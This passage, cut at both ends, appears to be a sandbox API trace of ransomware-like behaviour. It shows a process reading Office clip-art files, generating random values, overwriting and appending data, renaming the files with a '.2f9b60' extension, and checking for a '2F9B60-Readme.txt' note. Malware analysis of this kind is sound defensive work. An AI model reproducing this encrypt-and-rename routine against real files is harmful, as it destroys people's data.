(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505290) returned 1 [0131.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0131.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0131.927] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="41") returned 2 [0131.928] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="6c") returned 2 [0131.928] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="2f") returned 2 [0131.928] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="9c") returned 2 [0131.928] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="e4") returned 2 [0131.928] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="ba") returned 2 [0131.928] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="73") returned 2 [0131.928] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="e1") returned 2 [0131.928] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="a6") returned 2 [0131.928] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="94") returned 2 [0131.928] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="87") returned 2 [0131.928] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="d6") returned 2 [0131.928] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="e1") returned 2 [0131.928] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="fe") returned 2 [0131.928] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="97") returned 2 [0131.928] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="d9") returned 2 [0131.928] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="f0") returned 2 [0131.928] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="f7") returned 2 [0131.929] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="61") returned 2 [0131.929] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="9d") returned 2 [0131.929] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="e7") returned 2 [0131.929] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="c9") returned 2 [0131.929] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="ba") returned 2 [0131.929] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="99") returned 2 [0131.929] RtlInitAnsiString (in: DestinationString=0x2517f9c8, SourceString="416c2f9ce4ba73e1a69487d6e1fe97d9f0f7619de7c9ba99" | out: DestinationString="416c2f9ce4ba73e1a69487d6e1fe97d9f0f7619de7c9ba99") [0131.929] RtlAnsiStringToUnicodeString (in: DestinationString=0x2517f998, SourceString="416c2f9ce4ba73e1a69487d6e1fe97d9f0f7619de7c9ba99", AllocateDestinationString=1 | out: DestinationString="416c2f9ce4ba73e1a69487d6e1fe97d9f0f7619de7c9ba99") returned 0x0 [0131.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2520 [0131.929] wcscat (in: _Dest=0x20508590, _Source="416c2f9ce4ba" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\416c2f9ce4ba") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\416c2f9ce4ba" [0131.929] wcscat (in: _Dest=0x20508590, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\416c2f9ce4ba.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\416c2f9ce4ba.2f9b60" [0131.930] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\416c2f9ce4ba.2f9b60", NtPathName=0x2517f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\416c2f9ce4ba.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0131.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b862720 [0131.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862720) returned 1 [0131.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf484a0) returned 1 [0131.942] NtQueryInformationFile (in: FileHandle=0x1acc, IoStatusBlock=0x2517f9d8, FileInformation=0x2517f9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2517f9d8, FileInformation=0x2517f9e8) returned 0x0 [0131.942] NtSetInformationFile (FileHandle=0x1acc, IoStatusBlock=0x2517f9d8, FileInformation=0x2517f9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0131.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508590) returned 1 [0131.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2520) returned 1 [0131.962] FlushFileBuffers (hFile=0x1acc) returned 1 [0131.968] CloseHandle (hObject=0x1acc) returned 1 [0131.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050a2f0 [0131.970] wcscpy (in: _Dest=0x2050a2f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0131.970] wcscat (in: _Dest=0x2050a2f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0131.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0131.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a2f0) returned 1 [0131.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a4a0) returned 1 Thread: id = 1745 os_tid = 0x174c [0131.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf")) returned 0x20 [0131.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF", dwFileAttributes=0x20) returned 1 [0131.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1acc [0131.981] GetFileSizeEx (in: hFile=0x1acc, lpFileSize=0x258ffde0 | out: lpFileSize=0x258ffde0*=8398) returned 1 [0131.981] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x20ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.981] ReadFile (in: hFile=0x1acc, lpBuffer=0x258ffd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x258ffda8, lpOverlapped=0x0 | out: lpBuffer=0x258ffd60*, lpNumberOfBytesRead=0x258ffda8*=0x4, lpOverlapped=0x0) returned 1 [0132.005] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b40 [0132.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0132.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a20 [0132.005] NtQuerySystemTime (in: CurrentTime=0x258ffca0 | out: CurrentTime=0x258ffca0*=132462177372406000) returned 0x0 [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x6cd60112 [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0xff01213 [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x1b1dc2cd [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x29e69849 [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x783be032 [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0xed3a3f4 [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x248b1126 [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x196a89fe [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x55bfd0ca [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x35c62f1c [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0xb848872 [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x906fb40 [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x3a90a6c8 [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x6c06c7c5 [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x2111f647 [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x5b4573d1 [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x19cd30ca [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x3810afc4 [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x588a4ea [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x6950ed13 [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x4d2fff7c [0132.006] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x4001b870 [0132.007] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x756941b [0132.007] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x6f97a744 [0132.007] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x7bf8202f [0132.007] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x72142b0b [0132.007] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x30ae3346 [0132.007] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x1a47582b [0132.007] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x463f5d1d [0132.007] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x411056b [0132.007] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x1ecd30b1 [0132.007] RtlRandomEx (in: Seed=0x258ffc90 | out: Seed=0x258ffc90) returned 0x33b9817b [0132.018] ReadFile (in: hFile=0x1acc, lpBuffer=0x41f100b0, nNumberOfBytesToRead=0x20ce, lpNumberOfBytesRead=0x258ffc90, lpOverlapped=0x0 | out: lpBuffer=0x41f100b0*, lpNumberOfBytesRead=0x258ffc90*=0x20ce, lpOverlapped=0x0) returned 1 [0132.024] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.024] WriteFile (in: hFile=0x1acc, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x20ce, lpNumberOfBytesWritten=0x258ffc94, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x258ffc94*=0x20ce, lpOverlapped=0x0) returned 1 [0132.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266870 [0132.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ba0 [0132.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ba0) returned 1 [0132.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0132.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f100b0) returned 1 [0132.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0132.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0132.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20266ba0 [0132.037] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0132.037] WriteFile (in: hFile=0x1acc, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x258ffdb0, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x258ffdb0*=0x10a, lpOverlapped=0x0) returned 1 [0138.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd975d0 [0138.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061130 [0138.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3b0 [0138.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3b0) returned 1 [0138.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0138.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3b0 [0138.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0138.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0138.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061130) returned 1 [0138.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd975d0) returned 1 [0138.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda03b0 [0138.467] sprintf (in: _Dest=0x1cda03b0, _Format="%c%c" | out: _Dest="a3") returned 2 [0138.467] sprintf (in: _Dest=0x1cda03b2, _Format="%c%c" | out: _Dest="ef") returned 2 [0138.467] sprintf (in: _Dest=0x1cda03b4, _Format="%c%c" | out: _Dest="45") returned 2 [0138.467] sprintf (in: _Dest=0x1cda03b6, _Format="%c%c" | out: _Dest="de") returned 2 [0138.467] sprintf (in: _Dest=0x1cda03b8, _Format="%c%c" | out: _Dest="3a") returned 2 [0138.467] sprintf (in: _Dest=0x1cda03ba, _Format="%c%c" | out: _Dest="c7") returned 2 [0138.467] sprintf (in: _Dest=0x1cda03bc, _Format="%c%c" | out: _Dest="91") returned 2 [0138.468] sprintf (in: _Dest=0x1cda03be, _Format="%c%c" | out: _Dest="6c") returned 2 [0138.468] sprintf (in: _Dest=0x1cda03c0, _Format="%c%c" | out: _Dest="5b") returned 2 [0138.468] sprintf (in: _Dest=0x1cda03c2, _Format="%c%c" | out: _Dest="cc") returned 2 [0138.468] sprintf (in: _Dest=0x1cda03c4, _Format="%c%c" | out: _Dest="19") returned 2 [0138.468] sprintf (in: _Dest=0x1cda03c6, _Format="%c%c" | out: _Dest="38") returned 2 [0138.468] sprintf (in: _Dest=0x1cda03c8, _Format="%c%c" | out: _Dest="fa") returned 2 [0138.468] sprintf (in: _Dest=0x1cda03ca, _Format="%c%c" | out: _Dest="d1") returned 2 [0138.468] sprintf (in: _Dest=0x1cda03cc, _Format="%c%c" | out: _Dest="bb") returned 2 [0138.468] sprintf (in: _Dest=0x1cda03ce, _Format="%c%c" | out: _Dest="91") returned 2 [0138.468] sprintf (in: _Dest=0x1cda03d0, _Format="%c%c" | out: _Dest="35") returned 2 [0138.468] sprintf (in: _Dest=0x1cda03d2, _Format="%c%c" | out: _Dest="ff") returned 2 [0138.468] sprintf (in: _Dest=0x1cda03d4, _Format="%c%c" | out: _Dest="60") returned 2 [0138.468] sprintf (in: _Dest=0x1cda03d6, _Format="%c%c" | out: _Dest="c2") returned 2 [0138.468] sprintf (in: _Dest=0x1cda03d8, _Format="%c%c" | out: _Dest="3f") returned 2 [0138.468] sprintf (in: _Dest=0x1cda03da, _Format="%c%c" | out: _Dest="6f") returned 2 [0138.468] sprintf (in: _Dest=0x1cda03dc, _Format="%c%c" | out: _Dest="23") returned 2 [0138.468] sprintf (in: _Dest=0x1cda03de, _Format="%c%c" | out: _Dest="67") returned 2 [0138.468] RtlInitAnsiString (in: DestinationString=0x258ffe28, SourceString="a3ef45de3ac7916c5bcc1938fad1bb9135ff60c23f6f2367" | out: DestinationString="a3ef45de3ac7916c5bcc1938fad1bb9135ff60c23f6f2367") [0138.468] RtlAnsiStringToUnicodeString (in: DestinationString=0x258ffdf8, SourceString="a3ef45de3ac7916c5bcc1938fad1bb9135ff60c23f6f2367", AllocateDestinationString=1 | out: DestinationString="a3ef45de3ac7916c5bcc1938fad1bb9135ff60c23f6f2367") returned 0x0 [0138.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e2c0 [0138.470] RtlFreeAnsiString (AnsiString="a") [0138.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda03b0) returned 1 [0138.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0138.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3b0) returned 1 [0138.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x168120) returned 1 [0138.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266900) returned 1 [0138.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266b40) returned 1 [0138.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ba0) returned 1 [0138.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266870) returned 1 [0138.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266960) returned 1 [0138.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202669f0) returned 1 [0138.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266930) returned 1 [0138.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x202b1870 [0138.472] wcscat (in: _Dest=0x202b1870, _Source="a3ef45de3ac7" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a3ef45de3ac7") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a3ef45de3ac7" [0138.472] wcscat (in: _Dest=0x202b1870, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a3ef45de3ac7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a3ef45de3ac7.2f9b60" [0138.472] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a3ef45de3ac7.2f9b60", NtPathName=0x258ffdd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a3ef45de3ac7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0138.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050ca80 [0138.472] NtSetInformationFile (FileHandle=0x1acc, IoStatusBlock=0x258ffe70, FileInformation=0x2050ca80, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0139.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ca80) returned 1 [0139.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd460) returned 1 [0139.164] NtQueryInformationFile (in: FileHandle=0x1acc, IoStatusBlock=0x258ffe38, FileInformation=0x258ffe48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x258ffe38, FileInformation=0x258ffe48) returned 0x0 [0139.164] NtSetInformationFile (FileHandle=0x1acc, IoStatusBlock=0x258ffe38, FileInformation=0x258ffe48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0141.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1870) returned 1 [0141.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e2c0) returned 1 [0141.104] FlushFileBuffers (hFile=0x1acc) returned 1 [0141.125] CloseHandle (hObject=0x1acc) returned 1 [0141.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86ab30 [0141.131] wcscpy (in: _Dest=0x1b86ab30, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0141.131] wcscat (in: _Dest=0x1b86ab30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0141.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0141.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ab30) returned 1 [0141.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a650) returned 1 Thread: id = 1746 os_tid = 0x1750 [0131.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf")) returned 0x20 [0131.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF", dwFileAttributes=0x20) returned 1 [0131.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac0 [0131.978] GetFileSizeEx (in: hFile=0x1ac0, lpFileSize=0x23aff940 | out: lpFileSize=0x23aff940*=2456) returned 1 [0131.978] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.978] ReadFile (in: hFile=0x1ac0, lpBuffer=0x23aff8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23aff908, lpOverlapped=0x0 | out: lpBuffer=0x23aff8c0*, lpNumberOfBytesRead=0x23aff908*=0x4, lpOverlapped=0x0) returned 1 [0131.990] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b40 [0131.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266900 [0131.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0131.990] NtQuerySystemTime (in: CurrentTime=0x23aff800 | out: CurrentTime=0x23aff800*=132462177372250000) returned 0x0 [0131.990] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x430283ee [0131.990] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x2bd6e430 [0131.990] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x2c7e6ee3 [0131.990] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x4cb4938e [0131.990] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x4bd42d8a [0131.990] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x184f545f [0131.990] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x3a7db5bc [0131.990] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x795201c0 [0131.990] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x33c400cb [0131.990] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x64aa4a38 [0131.990] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x5cfa8ffa [0131.991] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x5b63d0ab [0131.991] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x6785f3da [0131.991] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x1cacdea7 [0131.991] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x4b593fe7 [0131.991] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x6831dd61 [0131.991] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0xf0bc32 [0131.991] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x51deb608 [0131.991] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x54fcca50 [0131.991] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x358039a4 [0131.991] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x1b4d9fbd [0131.991] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x3894da61 [0131.991] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0xe3e2f75 [0131.991] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x23ed38c7 [0131.991] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x2bc7c474 [0131.991] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x1f2d7a69 [0131.991] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x6f12c43f [0131.991] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x7fe107da [0131.991] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x3be04dc3 [0131.992] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x751e7899 [0131.992] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x1918a7e0 [0131.992] RtlRandomEx (in: Seed=0x23aff7f0 | out: Seed=0x23aff7f0) returned 0x1e30cf25 [0132.003] ReadFile (in: hFile=0x1ac0, lpBuffer=0x41f1b4e0, nNumberOfBytesToRead=0x998, lpNumberOfBytesRead=0x23aff7f0, lpOverlapped=0x0 | out: lpBuffer=0x41f1b4e0*, lpNumberOfBytesRead=0x23aff7f0*=0x998, lpOverlapped=0x0) returned 1 [0132.003] SetFilePointerEx (in: hFile=0x1ac0, 